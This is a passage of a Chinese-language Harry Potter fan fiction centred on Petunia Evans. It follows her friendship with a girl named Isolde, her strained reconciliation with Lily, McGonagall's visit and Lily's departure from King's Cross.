佩妮于是暗示得明白一点:“伊索尔德,你有没有想过自己会魔法,有没有可能是个女巫?”
伊索尔德笑起来:“天呐,是不是我们小时候都会做同样的梦!我小时候是幻想过自己要是会魔法就好了,如果可以,我要骑着飞天扫帚在天空中飞来飞去。我也期待过会不会从哪里钻出来一只兔子,带领我跳进一个洞穴,去完成属于我的使命。不过很可惜,我既不是魔法小女巫,也不是爱丽丝,我只是一个普通的女孩子。”
佩妮有一些失望,心底里又生出一种奇怪的满足,原来伊索尔德跟她是一样的,但是她马上又在心底里加了一句,伊索尔德才不是普通的女孩子。
伊索尔德推着眼睛严肃地跟佩妮说:“我有时候也会沉浸在我幻想出来的世界里。但是我妈妈去世前,她跟我说,不能再继续做梦啦,她让我快点长大,我要一个人生活在现实世界里了。不过她安慰我,现实世界没有那么糟糕,也没有那么好。不知道怎么做的时候,就看看书,她和爸爸在里面等着我。”伊索尔德指了指书架。
佩妮点点头,看吧,伊索尔德绝对不普通,这里普通的女孩子只有她自己一个而已。
伊索尔德又问她:“对了,你说你妈妈也叫玛格丽特,他们对你怎么样。”
窗外打下了第一滴雨,随后磅礴的雨哗啦一声落下,打在地上噼里啪啦作响。
佩妮点点头:“我爸爸妈妈对我也很好。”
伊索尔德收起书本,坐起来,饶有兴趣地看着佩妮:“给我讲讲你的爸爸妈妈。”
伊万斯夫妇就是科克沃斯普通的人,他们的故事平凡又普通,佩妮几句话就讲完了。
但是伊索尔德看起来仍不满足:“你爸爸妈妈很爱你,那你有兄弟姐妹吗?”
佩妮看着伊索尔德蓝色的眼睛犹豫了良久,深深吸了一口气说:“我有一个妹妹,她与我平分父母的爱。”
“不对,不是平分,是加上妹妹,你有来自三个人的三份爱。”
佩妮一下愣住了,看着伊索尔德眼睛,抑制住
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自己尖叫的冲动。她什么都不明白,她有很多很多的话想说,但又有很多很多的话不能说,可是面对伊索尔德,想到她的身世,佩妮用尽自己的理智,把一些尖锐的,涌到自己嘴边的词语咽了下去。她反复呼吸,开始在自己的脑子中检索最合适的语言,尽量平静地讲述起自己的事情。
佩妮讲起了她和莉莉的童年。她讲起莉莉的红头发,讲起莉莉天使一般的外貌,讲起莉莉聪明得让人有点不安的头脑,讲起了家人们对莉莉的偏爱,讲起了莉莉的不同寻常——当然她隐去了莉莉的真实身份,只是突出了她认为莉莉作为问题儿童的一面,她继续讲起莉莉那个头发油腻,性情古怪,只注视着莉莉,从来不正眼瞧佩妮一眼的毫无礼貌毫无家教的朋友,讲起了莉莉和他之间独有的,谁也不知道的秘密,还讲起了莉莉将要逃离科克沃斯去别的地方上学了。
佩妮的手指无意识地绞紧裙角,语速越来越快、声音不自觉地提高。窗外雨越下越大,泥土的腥味和植被的芬芳从窗外飘进来,但是天空却越来越明亮。
伊索尔德一开始是靠在书架上歪斜地坐着的,随着佩妮的讲述,她把书本默默收起来,坐起身来。
“她什么都比我好。”佩妮停了下来,她脸色涨红,胸口大幅度地起伏,但她又尽量使自己的声音听起来平静。
伊索尔德看了佩妮好一会儿,突然间抬手摸上佩妮的头发,很认真地对她说:“佩妮,你金色的头发也很好看,你的眼睛像灰宝石,我很喜欢你的眼睛。你也很聪明,你的爸爸妈妈也很爱你,莉莉也爱你,包括我和埃莉诺,我们也爱你。在我看来,你的勇气和智慧,也让你显得不同凡响,佩妮,其实你也在过我所羡慕的生活。”
窗外雨停了。
佩妮噌地一声站起来,三明治掉了下来,弄脏了地板。伊索尔德的话让她有一些不知所措,她涨红着一张脸,憋出一句:“我们是在聊莉莉,不是在聊我!”
但是伊索尔德仍然注视着佩妮,很认真地一个字一个字地说:“佩妮,你也是一个优秀的令人喜欢的女孩,我很喜欢你。”
——你把莉莉推了下去,莉莉淤青的手臂,离开科克沃斯前她欲言又止的眼神,还有自己关上的房门,统统都浮现在了佩妮的眼前。
“我不是!”佩妮俯视着伊索尔德,慌乱又倔强地大声说,伊索尔德的话让她全身都很不舒服,心脏砰砰直跳,她看了伊索尔德一会儿,然后倒退了几步:“对不起,我,我突然还有一些事,我要回去一下。”于是佩妮噔噔踏着木板跑了下去。
她在楼道与埃莉诺擦身而过,埃莉诺走到二楼,收拾她们的餐盘,看见佩妮跑走,她捡起佩妮掉下的三明治,有些不解地问伊索尔德:“她怎么了?”
伊索尔德走到窗边往下看:“她还没准备好。”
埃莉诺只是耸耸肩,皱着眉“啧”了一声,端着托盘就下去了。
离开紫藤路17号的时候,佩妮回头,伊索尔德在那间空荡房子的窗边站着,光线比较暗,佩妮看不清楚她的神色,只能看见她被风吹起来的飞舞的金发。
对不起——不,是伊索尔德不应该提起莉莉,佩妮一扭头,跑进了不远处灰蒙蒙尚未完全放晴的天幕。
8. chapter7
佩妮有一段时间没有去紫藤路17号,她不知道怎么面对伊索尔德。
她坐在图书馆,将手中的图书翻得沙沙作响,但她一页也看不进去。
有人从她的右边上前来,坐在了佩妮的右手边,佩妮闻到了淡淡的薰衣草洗衣液的味道,她一下就认出了这是伊索尔德身上的味道。
佩妮的脊背一下就僵硬起来,面颊也开始烧起来,她心里想,伊索尔德会怎么看她呢,她的不告而别会不会让伊索尔德生气,伊索尔德会不会发现她是一个古怪的人,可是为什么要提到莉莉呢。
伊索尔德在她小心地拉开木凳子坐下来。
伊索尔德会跟自己说什么?她会怒斥自己那天的匆忙离去吗?如果她跟自己说我再也不想跟你做朋友了怎么办?
——如果伊索尔德这么说,佩妮一定会跳起来先打断她,然后说是因为伊索尔德先提起的莉莉,是伊索尔德的错。
佩妮紧紧攒住了书页,手指捏得发白。
一本紫罗兰色的笔记本,被伊索尔德推了过来。
佩妮鼓起勇气偏过头去,撞进了伊索尔德温柔水蓝色的眼睛里。
她冲佩妮笑起来,小声地凑到佩妮身边,对她说:“啊,我就知道你会在这里,我找到了你啦。给你,这是我送给你的礼物。”
想象中的事情什么也没有发生,做出的心理预设一件都没实现,让佩妮有些茫然。她接过这本笔记本,封面上是伊索尔德的字体,写着:
夏日的秘密
佩妮呆呆地看着伊索尔德:“这是?”
伊索尔德冲她眨了眨自己的眼睛,神秘地说:“这是一本我为你写的小说。”她的脸罕见的红起来了:“拜托你回家再看,这是我第一次尝试自己写小说,看见别人在外面读自己写的东西,还是真让人不好意思。”
佩妮倒抽了一口气,把那本笔记本放在了自己的胸口,看着伊索尔德,她一个字儿也说不出来,只能支支吾吾地说:“我……伊索尔德……”
伊索尔德对佩妮说:“下次不要一个人跑走了,我们会担心的。”
佩妮感到自己的脸烧起来了,她嗫喏地问:“对不起……伊索尔德……我,你,你的腿……”
伊索尔德笑着说:“已经好的差不多了,走路是完全没问题了。”她晃了晃她的腿,继续对佩妮说:“佩妮,暑假就要结束了,我马上就要回切尔滕纳姆了。你还愿意继续跟我一起看书吗?”
其实最后那句话本来是应该佩妮说的,无论是莉莉,还是伊索尔德,她们总是比佩妮自己有勇气多了,这样的认知使她感到挫败。
但是伊索尔德的手已经握了上来,佩妮一下子冷静了下来,她点点头。
蓝色的湖水于是荡漾开来。
———————————————————————————————————————
晚上佩妮洗完澡,坐在床上,借着小台灯的光芒,打开那本紫罗兰色的笔记本。
“花瓣小姐(Miss petal)住在小镇边缘的一朵小花上。每天清晨,露珠在她的裙摆上打滚时,她都会叹一口气:‘唉,我真普通。’”
“她羡慕狐狸先生火红的皮毛在阳光下闪闪发亮,可当她低头看自己——只有淡淡的颜色,像一条洗旧的裙子。她嫉妒天鹅小姐能展开雪白优雅的翅膀飞过河面,可她自己呢?一阵小风都能把她吹得东倒西歪。”
“‘我甚至不是一朵完整的花,’花瓣小姐对蒲公英抱怨,‘只是其中一片花瓣罢了。’”
“直到某个下雨天,狐狸先生瘸着腿躲进花丛。‘我的皮毛被荆棘划破了。’他耷拉着耳朵,‘现在一点也不威风了。’花瓣小姐默默挪过去,用自己柔软的身子替他挡住雨水。‘太阳出来,你的皮毛就好了’她小声说。后来太阳出来了,在花瓣小姐身下躲雨的狐狸先生,舔顺了他的鲜艳的皮毛,红色的火焰再次消失在灌木丛中。”
“天鹅小姐有一天也来了,她的翅膀不小心沾了油污,飞不起来了。‘我再也当不成天空的女王了。’她哭得羽毛都湿透了。花瓣小姐让天鹅把头靠在自己身上:‘雨水会洗干净你的翅膀,你会重新翱翔在天空上的。’一场大雨过去,重新变得雪白的天鹅小姐振翅高飞,给花瓣小姐带来了一阵和煦的春风。”
“那天晚上,星星出来的时候,花园里的朋友们围着花瓣小姐,他们给花瓣小姐带来了面镜子,花瓣小姐在镜子里看见了自己
——噢,原来我是一朵金色的花。”
佩妮猛地阖上这本紫罗兰色的笔记本,她从床上跳起来,她现在很想立刻见到伊索尔德,有很多话想跟她说,但是她拉开门,屋外黑漆漆的,她猛然想起来,现在是晚上,伊索尔德已经睡觉了。
第二天莉莉和伊万斯夫妇回来了。
那辆红色的沃克斯停在家门口,伊万斯先生正在从车上卸下他们的行李箱,伊万斯太太站在他旁边。佩妮告别了霍尔太太,扑进了伊万斯太太的怀抱里。
“我们很想你佩妮,这段时间你过得怎么样,会不会很无聊,很抱歉把你一个人留在了家里。”伊万斯太太抚摸着佩妮的金色长发,语气里带着把大女儿一个人扔在家里的愧疚。
反复的雨天、图书馆、小说、伊索尔德、炉灰巷、紫藤路17号、那本夏日的秘密……这些事情在佩妮的脑海里一闪而过,她闭上眼,更加用力地抱紧了伊万斯太太,感受她身上独属于妈妈的味道,说:“没事的妈妈。这段时间我过得很好,真的。”
佩妮松开伊万斯太太,眼睛不住地在伊万斯太太和伊万斯先生附近游移,但是又什么话都没有说。伊万斯太太好笑地看着佩妮说:“别找了,莉莉先进去洗澡了。”
佩妮松了一口气,她拿着自己的东西,跑上二楼,推开了自己房间的门。灰尘一下子扬了起来,她打了一个喷嚏,呸呸两声后一个箭步冲过去打开了窗户,把东西放下来,又把一个暑假没有睡的床单扯了下来,抱着它跑下一楼。
路过盥洗室的时候,佩妮听见淋浴的声音一下子停了,她抱着床单的手紧了一下,一头扎进了放着洗衣机的杂物房。佩妮打开洗衣机,把床单塞进去。她听到哒哒的脚步声踩在头顶的木板上,就像小马驹一样,顺着楼梯一路上了二楼。砰一下,房门被推开了,又砰的一下,房门被关上了,震得楼下木质房梁上细小的灰尘簌簌地落下来。
佩妮忍不住在心
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中默默抱怨,粗鲁,简直太粗鲁了。
她慢慢踱步上了二楼,视线随着台阶一级级升高,莉莉背对着她的身影清晰地出现在了眼前。
莉莉刚洗完澡,穿着一条无袖的白色波点睡裙,露出两条洁白的手臂,手臂上的淤青已经消散得差不多了,但是还可以见到一点隐隐的淡青色的痕迹。她火红的头发乱糟糟地披在身后,又没有完全的吹干,发尾还滴着水,不多时在她白色的睡裙上泅出暗色的痕迹。她又不把自己的头发吹干,佩妮心想,乱糟糟的,没有一点样子。
莉莉左手拿着什么东西,犹豫了一下,抬起右手要去敲佩妮的门。
“莉莉。”佩妮适时打断了她。
小红马驹转过身,看见佩妮,两眼发光,得吧得吧地冲了过来,在距离佩妮一步之遥的时候,看着她的脸色,堪堪止住了自己的脚步,垂下自己绿色的眼睛,把左手的东西递给了佩妮:“佩妮,送给你。”
佩妮低下头一看,是一本很漂亮很典雅的墨绿色笔记本,上面用花体字写着,来自简·奥斯汀博物馆,佩妮伸手拿过来,本子里还夹着一个鎏金的书签,佩妮扯出来一看,是一个镀金的伏案写作的女人,上面用很小的字体刻着——写作的简·奥斯汀,1775.12.16-1817.7.18。
“佩妮,”莉莉的声音听起来很紧张,“我用自己的零花钱买来送给你的。对不起佩妮,我不应该偷看你的信件,一开始,我是想万一,邓布利多教授说你也能去呢,我们就不用分开了……我们就……又能在一起了,对不起佩妮。”
莉莉低着头,两只手臂紧绷着垂在身侧。
佩妮俯视着莉莉。
你这个古怪的小马驹,你这个疯狂的小女巫,我才不想一直和你在一起,你根本就不明白我的心情,你根本就不明白你都干了一些什么好事,你甚至都不明白你抢走了什么东西,讨厌你讨厌你讨厌你讨厌你。
——她与我平分父母的爱。
——不对,加上她,你拥有来自三个人的三份爱。
佩妮手里紧紧攒着那本暗绿色的笔记本,漏出来的鎏金书签反射着阳光刺痛她的眼睛,她盯着莉莉毛绒绒的红色脑袋,终于硬邦邦地开口:“挺不错的,我是说你的礼物。对不起,你的手臂还痛吗?”
莉莉猛地抬起头,绿色的眼睛里好像泛着雾气,她摇着头大声说:“不痛了,佩妮,一点儿也不痛了。”她冲上来,看起来想要拥抱佩妮,佩妮被吓得后退了一大步,把笔记本架在自己的胸前,拦住了她的动作。
“这次我们扯平,但是下次再让我发现你未经允许偷看了我的东西。”佩妮扒开莉莉,越过她,推开自己的房门,经过莉莉身边,她冷漠地丢下这句话。
“再也不会了,佩妮。”莉莉看起来很想跟着佩妮挤进她的房间,眼神充满了渴望。
“我的房间都是灰尘,你等我收拾一下不行吗?”佩妮抵住自己的房门,只露出一条小缝,很不耐烦地说。
莉莉紧紧地贴在房门的那边:“佩妮佩妮,你快一点,我有很多很多话想跟你说,憋死我啦。”
嘭,佩妮很大声地把自己的房门关上。
——烦死了。
9. chapter8
门铃在清晨响起时,佩妮正坐在餐桌边吃着妈妈煮的燕麦粥。
爸爸已经去铁路局上班了,妈妈在厨房里处理着食材,莉莉——莉莉当然不会这么早就起床,她还在楼上哼哼唧唧,磨磨蹭蹭,跟她的床被大战呢。
佩妮跳下餐桌去开门,门外站着一个陌生人——一位身材高挑、神情稍许有些严厉的年长女士。她穿着一身墨绿色长袍,戴着方框眼镜,银灰色的头发往后束成一个高高的髻,一丝碎发也没有。她的身形站得笔直、干脆,带着让人不容置疑得气场。
“早上好,”她手中握着一张折好的羊皮纸信件,看见仰头看着她的佩妮,目光落在她金色的头发上的时候,带了一点疑惑:“莉莉·伊万斯小姐?”
佩妮面无表情地拉开了房门,对着门外的那个女士说:“你好,我是佩妮·伊万斯,莉莉·伊万斯是我的妹妹。”
佩妮扭头对在厨房的妈妈大喊:“妈妈,有客人来了。”
伊万斯太太走出厨房,看见那名女士吓了一跳。女士自称麦格教授,她礼貌地跟伊万斯太太解释,她是一名来自霍格沃茨的女巫,担任变形课教授,新学期马上就要开始了,现在由她来带领莉莉去一个叫做对角巷的地方,采购上学需要的东西。
伊万斯太太的围裙还没有摘,她短促地尖叫了一声,对麦格教授说了一句抱歉,冲上楼把还磨磨唧唧的莉莉给拽了下来。
等待的过程,麦格教授的目光对上了佩妮,她很认真地看着佩妮,郑重地道了歉:“我很抱歉,佩妮·伊万斯小姐。”“没关系。”佩妮很轻声地回了一句,随后倒退了一步,把自己藏在了客厅的阴影里。
莉莉用史上最快的速度洗漱完毕冲了下来,麦格教授看到莉莉,严肃的面容上露出一丝微笑:“伊万斯小姐,你的录取通知书带了吗?我们需要按照上面的条目一一购买你需要的东西。”莉莉大力地点点头,她的小脸看起来快跟她的头发一样红了,大口吸着气,眼睛里流露出闪耀的光芒。
伊万斯太太换了一身西装套装,踩着高跟鞋,拿着钱包走了下来:“麦格教授,我们可以出发了。”
但是麦格教授流露出了歉意:“很抱歉,伊万斯太太,对角巷只有巫师能够进入,今天我会负责莉莉·伊万斯小姐全程采购的安全的,请您放心。”
伊万斯太太露出了茫然的表情,但她反应很快,把自己的皮夹塞进莉莉的手中,对她说:“你要听麦格教授的话。”
莉莉点点头,她回头想看佩妮,但是佩妮把自己隐藏在黑暗里,她看不清佩妮的神色,张嘴想说什么,麦格已经拉住了她的手:“我们要出发了,伊万斯小姐。”
莉莉抬头去看麦格教授:“我还有一个朋友,住在蜘蛛尾巷,他会跟我一起去吗?”麦格教授看着莉莉:“会有其他的教授带他一起去的,如果幸运的话,你们说不定会在对角巷碰面。”
莉莉点点头,一大一小的身影消失在晨曦中。
佩妮就在藏在黑暗中,冷眼看着这一切,从头到尾一言不发。两个人走了后,她独自踏上通往二楼的楼梯,伊万斯太太回过神来,她看见桌上剩下的燕麦粥,抬头对佩妮说:“佩妮,你就吃完了吗?”
“我吃完了,妈妈,现在我要出去一下。”佩妮把自己关进房门前留下这么一句话,今天她有很重要的事要出去。
又要下雨了,没完没了的雨。佩妮走在通往紫藤路17号的路上,一边踢着着路边的小石头,一边这么想。
看到伊索尔德的房子的时候,佩妮松了一口气,她快步走进去。
一辆黑色的福特车停在房子外面。屋门外有几个打包好的纸箱子,埃莉诺一个接一个地将他们扛上福特车。
伊索尔德要回切尔滕纳姆读书了,紫藤路17号的夏日要结束了。
伊索尔德穿着一身淡蓝色的连衣裙,金发辫成了一个辫子,带着小帽子,背对着佩妮站在客厅处,整个人看起来像一个洋娃娃一样。
佩妮突然玩心起来,蹑手蹑脚地走到伊索尔德背后,想吓伊索尔德一跳。但是佩妮一走近,就发现伊索尔德在接电话。
佩妮不是有意听的,但是电话里的那个男的嗓门很大,声音一下就漏出来了:“新学期学费生活费已汇款至指定账户,没有什么事情不要来找我了,圣诞节也请不要回家。”
伊索尔德带着白色的羊皮手套,很安静地说:“我知道了,爸爸。”
“另外,你在外面请不要高调炫耀你卡尔维特的姓名,不要给这个姓氏添麻烦,我们很忙,出了事是没有空去处理你的。”男人的声音听起来很暴躁,像是在对伊索尔德吼叫。
伊索尔德的声音还是很平静:“嗯,对不起,我知道了,爸爸。”但她还没有说完,那边电话啪得一声就挂了。伊索尔德一回头,看见佩妮吓了一大跳:“佩妮,你怎么在这里。”
佩妮的脸一下红起来:“对不起,我,我不是故意的,我想偷偷过来逗你一下。”
伊索尔德笑起来,安抚她:“没关系佩妮,反正也没什么特别的。”
佩妮这是感到一股火气直冲头顶,她什么情绪都忘记了:“你爸爸怎么能够这么说,什么叫不要炫耀这个姓名,明明你什么都没做,是因为卡尔维特这个姓氏,我们才倒了大霉。”
伊索尔德对佩妮露出了一个有一些苍白的苦笑:“事情也算解决了佩妮,爸爸给市政厅打了电话。炉灰巷想要绑架我的那几个小混混已经锒铛入狱了。戈斯警长跟我保证,他会加强科克沃斯的安全巡逻的。也算是给科克沃斯做了一件好事不是吗?但是想想,他说的没错,佩妮,卡尔维特这个姓氏确实有一点招摇,不要跟别人说,你在跟卡尔维特做朋友。”
佩妮扑上去抱住伊索尔德:“你在说什么,我不是在跟卡尔维特做朋友,我是在跟伊索尔德做朋友。”
这时候埃莉诺进来,对伊索尔德说:“时间到了,我们要出发了。”
伊索尔德端详了一下佩妮的脸色,给了她一个拥抱:“没关系的佩妮,下个暑假我就回来了,我会给你写信的,我保证。”
佩妮盯着她的脸,挽留的话说不出口,抱怨的情绪无从发泄,话到嘴边,她只能郁郁地说:“伊索尔德,简爱还没有看完。”
伊索尔德捧起了佩妮的脸,笑起来:“我们还会有很多时间的。”
伊索尔德的手很温暖,蓝色的眼眸就像静谧的湖水,快要把佩妮吸进去了。
她牵起佩妮的手,把她带到二楼,角
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落里已经堆着几个纸箱子,就在伊索尔德的小床旁边,被子整整齐齐地叠在上面,床单一尘不染。
佩妮提醒伊索尔德:“如果你很长时间不回来的话,你就要用床罩把床铺上,不然明年回来,就要落很多灰了。”
伊索尔德讶然一笑:“呀,我都不知道,家里没有准备床罩,算了,明年回来再说。佩妮你真厉害,这种事情都知道。”其实这是伊万斯太太教给佩妮的,佩妮盯着伊索尔德,突然伤心地想,她没有妈妈告诉她这件事。
“伸出手来。”伊索尔德说,佩妮听话地伸出手,一个冰凉的东西就落在了她的手上,佩妮定睛一看,是一把刻着紫罗兰花瓣的古铜色钥匙——这是?
“这是紫藤路17号的钥匙,我把它留一份给你,你要把它收好。我这里你想来,随时都可以来,这是你的秘密花园,你想做什么都可以。”
佩妮紧紧握住这把钥匙,它突起的弧度嵌进佩妮的手心里,她抬起头看着伊索尔德:“这是我和你之间的秘密吗?”
伊索尔德点点头:“嗯,我和你之间的秘密。”
埃莉诺走上来,打断她们之间的对话:“我们真的该走了。”她看见佩妮,不顾佩妮的惊呼,伸出手狠狠地揉乱了佩妮的头发:“不要露出一副好像再也见不到面的样子,等你长大了就会知道,想见谁只要主动去找她就可以了。”
伊索尔德笑起来,佩妮的心不再那么空落落的了。
伊索尔德坐进了黑色的福特车副驾驶,给自己系上安全带,车窗摇下来,佩妮扑过去:“伊索尔德,你真的没有接到过猫头鹰给你寄过来的信吗?”
伊索尔德听见佩妮孩子气的问题,好笑但是认真地说:“没有呢,可能我还是太小了,万一以后有一只兔子带我跳进了爱丽丝的树洞呢?我就在里面给你写信。万一我有一天做梦醒来,发现我自己变成了一个魔法女巫,我就骑飞天扫帚来找你玩,第一个实现你的愿望。”
埃莉诺坐上了驾驶座,发动机的轰鸣声响了起来。佩妮想起什么:“伊索尔德,你给我写的那本小说,我真的很喜欢很喜欢,以后我也要给你写一本小说。”
伊索尔德点点头,汽车发动了,她挥了挥手。
“再见,佩妮。”
佩妮拿着伊索尔德的书走在回去的路上,钥匙在她的口袋里,走路的时候碰到她的大腿,隔着布料传来冰凉的质感。
她路过炉灰巷,惊奇地发现炉灰巷变了很多,路上乱堆乱放的东西少了很多,道路变得整洁起来。戈斯警长就带着帽子,手里拿着对讲机,腆着肚子在吼叫什么,豆大的汗珠从他额头上落下来,警服已经湿透了。不远处有几个工人在拆卸某一户人家的东西,有些人不乐意的在挥手吼叫,整个场面看起来乱糟糟的。
佩妮大着胆子走到警长身边问他在干嘛,他低头看了看佩妮,脸上勉强挤出一丝微笑:“噢是你啊,伊万斯小姐。”
戈斯警长抬手擦去自己头上的汗,嘟囔着说:“市政厅要改造这里,包括炉灰巷、蜘蛛尾巷那一大片地方,就是因为卡尔维特小姐那件事,唉,有点麻烦你说是吧。哦对了,下次见到卡尔维特小姐,记得替我向她问好。”
佩妮点点头,利落地跑开了。
10. chapter9
佩妮坐在自己的床上看着简爱。
剧情正在简对罗切斯特先生愤怒地说“你以为因为我贫穷、低微、不美、矮小,我就没有灵魂,没有心吗?——你想错了!——我跟你一样有灵魂——也完全一样有一颗心!”
楼下,从伦敦回来的莉莉在餐桌上跟伊万斯夫妇讲自己在对角巷的奇妙旅程。
佩妮没有关房门,莉莉的声音很大,看得出她兴致很高,她的声音断断续续从楼下传来,什么一间破旧的酒吧,魔杖敲开所谓一面墙上的砖头,里面别有洞天,什么各种各样奇怪的店铺,挂着会动的招牌,有会跳舞的软糖、会喷彩虹的口香糖。
莉莉绘声绘色的描绘着她最喜欢的猫头鹰店,有一整面墙全是猫头鹰,雪白的、灰斑的、金黄色的,它们会转头盯着人看,有的还会轻轻咕咕叫。莉莉买下了一只对着她眨眼的猫头鹰,给她取名叫“塞勒涅”,因为莉莉说她的羽毛雪白得就像夜空中的月亮,她梳理自己的羽毛时也像月光女神一般优雅。这只猫头鹰现在连笼带鸟被关在厕所,莉莉气得脸都涨红了,但是佩妮跟妈妈说,如果猫头鹰乱飞,羽毛和排泄物弄脏了沙发、地毯怎么办,况且就一个晚上,明天就出发了去伦敦了。妈妈这一回支持了佩妮。
莉莉说她在一间叫做奥利凡德的魔杖店,店长告诉她,是魔杖选择巫师。于是莉莉试了好久的魔杖,选了一根10?英尺长,柳木做的魔杖。挥起来嗖嗖的,据说是一根施魔咒的好魔杖。她还说了很多很多,佩妮非常佩服她的精力。
脚步声噔噔噔,小马驹跑上来了!佩妮反手合上简爱,将它塞进紧贴着墙壁的床缝里,随手举起一本习题册,若无其事地看了起来。
有人敲了敲她的房门,随后推开,一颗红色的小脑袋钻了进来,莉莉小声地问佩妮:“佩妮,我能跟你待一会儿吗?”
佩妮只是冷眼看了莉莉一眼,说:“我5分钟后就要睡觉了。”
莉莉从善如流地爬上床,躺在了佩妮的身边,紧紧地抱住了佩妮的左手,她看见佩妮手中的习题册,大声惊呼:“你居然在看数学题!”
佩妮冷笑一声,并不予答复。
莉莉张开嘴要说什么,佩妮瞪着莉莉警告她:“如果你是要跟我说你那个问题学校的事情,你就回到你自己的房间里去,我一个字都不想听,你明白吗?”
莉莉吸了一口气,憋了好一会儿,才说:“我能给你写信吗,佩妮。”
佩妮说:“非必要请不要,而且请你通过正规邮局寄信。”
莉莉有一点失落,憋了一会儿,看佩妮宁愿看数学题也不理她,她摸着佩妮的头发说:“佩妮,我好喜欢你的金发呀。你还记得小时候我们一起演王子和公主的事情吗?那时候你演王子,我也公主,你扮演的金发王子可太帅了,要是我们还有机会继续一起表演就好了。”
“我不记得了。”佩妮把自己的金发从莉莉的手心里拔出来,淡淡地对她说。
其实她记得,那是小学三年级的事情,大家都想演公主,老师一眼就看中红头发的莉莉。需要挑选王子角色的时候,老师犯了难,班上其他的男生站在莉莉身边怎么都不对劲,佩妮当时是班上最高的学生,当时的文学课老师灵机一动,于是佩妮被抽走,演了莉莉的王子。演出的效果怎么样,佩妮已经忘记了,但是她记得大家都在夸莉莉是最美的天使,但是轮到佩妮的时候,他们在质疑为什么不选一个男生,来演真正的王子。
“我要睡觉了,莉莉,回到你的床上去。”佩妮下了逐客令,无视莉莉眼中的不舍,把莉莉赶了出去,关上了房门。
但是转过身,佩妮坐到了书桌前。
她抬起笔,想学着伊索尔德那样,写一点什么东西送给她,但是佩妮看的书太少了,知道的故事也太多了,有什么东西能够送给伊索尔德呢?
她一直不知道写什么,但是就在刚刚,一个大胆的想法出现在了佩妮的脑海里,她下笔:
给伊索尔德小姐:
伊莎小姐(Miss Is)有一天发现自己拥有了一个奇怪的能力,她发现她可以让植物听话,使花朵在她的手中开谢……
但她马上又把这句话划掉了,她觉得这个故事现在还是不够好,再让她好好琢磨一下。
——————————————————————————————————————
他们送莉莉来到国王十字车站。
这是第9站台,这是第10站台,可是9又3/4站台在哪里呢?他们茫然地四处环顾。
佩妮觉得非常的难堪,因为他们提着很多的东西,还有一只猫头鹰在笼子里扑棱着翅膀——正常人哪里会随身携带一只猫头鹰出来呢。周围虽然人不多,但是频繁打量的目光恨不得让佩妮钻进地洞里去。
快要到开车的时间了,莉莉想要抓人来问,佩妮拉住她:“不要做这种丢人的事,我们看看其他人是怎么做的。”
于是他们开始观察国王十四车站。
车站的人开始陆续多了起来,佩妮发现其中来了莉莉的同类,这些异类实在是太好分辨了,他们穿着古怪的,过时的长袍,带着可笑的帽子,推着一车的东西向这边走过来。
一对年迈的夫妇看见了无措的莉莉,他们走过来,礼貌地问莉莉是不是不知道怎么进站台,这对穿着过时长袍的夫妇走过来的时候,佩妮立刻后退了一大步。
他们把莉莉带到第9站台和第10站台之间的一面墙壁上,指着它说:“穿过去孩子。”
伊万斯一家面面相觑。那个和善的夫人对莉莉说:“詹姆,过来给她示范一下,如果你实在害怕,你就闭上眼睛冲过去。”佩妮这才发现老夫妇后面站着一个头发乱糟糟,带着一副眼镜的男孩子,这应该是这对老夫妇的孙子,佩妮心想。
男孩推着车,经过莉莉身边,抬手扶了一下自己的眼镜,对她笑着说:“我叫詹姆·波特,别害怕,一口气冲过去,我们里面见。爸爸妈妈再见。”老夫妇冲他挥了挥手,男孩推着车对着墙冲了进去,在莉莉的一声惊呼中消失不见。
佩妮咬紧了牙关,眼前的一幕快要让她晕倒了,不仅仅是因为这堵墙,还因为这个男孩喊这对年龄足够做他祖父母的年迈的老夫妇“爸爸妈妈”。巫师界真是一堆怪人!
“莉莉!”背后传来斯内普的声音,一个面容疲惫的女人牵着斯内普出现了,他还是穿着那一身不合适的衣服,头发油腻腻的,他的东西不多,他松开女人的手,向莉莉跑来,路过佩妮的时候,他的箱子差点撞到了佩妮,但连一句道歉也没有,就像她是空气一样。斯内普牵住了莉莉的手,帮莉莉推起了车,对莉莉说:“我们一起进去。”
到处都是她讨厌的人,佩妮觉得国王十字车站一分钟她都呆不下去了。
这时候莉莉抓住了佩妮的手,绿色的眼睛紧紧看着佩妮:“陪我过去好不好。”斯内普不善地回头盯着佩妮,眼睛里全是不耐烦,他张嘴要说出什么难听的话。那个和善的老妇人走上来对莉莉说:“只
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有巫师才可以通过这面墙,你的姐姐要是陪你过去,会撞在墙上的。”
莉莉这才松开佩妮的手,被斯内普拉着,一边回头,一边冲进了那面灰色的墙里。
佩妮走上去,抚摸了一下墙壁,她手指下触碰到的是冰冷坚硬的墙面,将她和里面的世界彻底隔开。
“劳驾,请让一下,谢谢。”一个男孩清脆的声音从佩妮后面传来。佩妮猛地回头,看见一个推车的小男孩,这个小男孩比佩妮矮了半个头,相貌十分英俊,穿着一身令人印象深刻的非常得体的衬衫长裤,深色呢料小马甲上纽扣被整齐地扣着,但是佩妮发现他没有带领结,最上面的一颗扣子也被解开了。
一对身形高挑,面容十分严肃的夫妇站在小男孩身后,男士身穿深灰色长袍,裹着一件亚麻质地的深蓝披风,女士一身衣料厚重的墨黑束腰长裙,旧式高领,薄唇紧抿。他们旁边还站了另外一个小男孩,跟推车的小男孩仿佛一个模子里刻出来的,但是五官更柔和一点,这个男孩扣子系得好好得,领结也没有松散。
女士把手放在那个推车的小男孩肩上,一字一句地说:“西里斯,不要和麻瓜说话。”
不—要—和—麻—瓜—说—话
佩妮在心里忍不住滑稽地重复这个女人的发音,十分好笑地想,如果不跟她说话,自己要是一直没有发现身后的这群人,他们岂不是就要一直推着车,像个傻瓜一样站在这里么?
巫师真的是太滑稽了。
佩妮微微低头,往后退了一步,让出通道。那个英俊的小男孩烦躁地甩开了妈妈的手,他们一家朝石墙走去,路过佩妮的时候打头的小男孩对她微微点了一下头,精致的下颌线在空中划出好看的弧度,而他们家其他人则视佩妮如无物。她错开了眼,低着头,视线里纷杂的脚步消失在墙的那一边。
这时伊万斯太太走上来揽住佩妮的肩膀,示意他们要离开了。
佩妮点点转身。
但是,“佩妮!”莉莉着急的声音从身后传来,红色小马驹再次钻出石墙,冲向佩妮,这次一把抱住了她。斯内普跟着出来,声音硬的就像是一块石头:“莉莉,火车就要开了!”但是莉莉紧紧抱住了佩妮的腰,温热的脸颊隔着衣料触碰在佩妮的背上,莉莉对她说:“佩妮,我会给你写信的。”佩妮没有来得及回头,只听见哒哒的脚步声逐渐远去,再一次奔进了墙里。
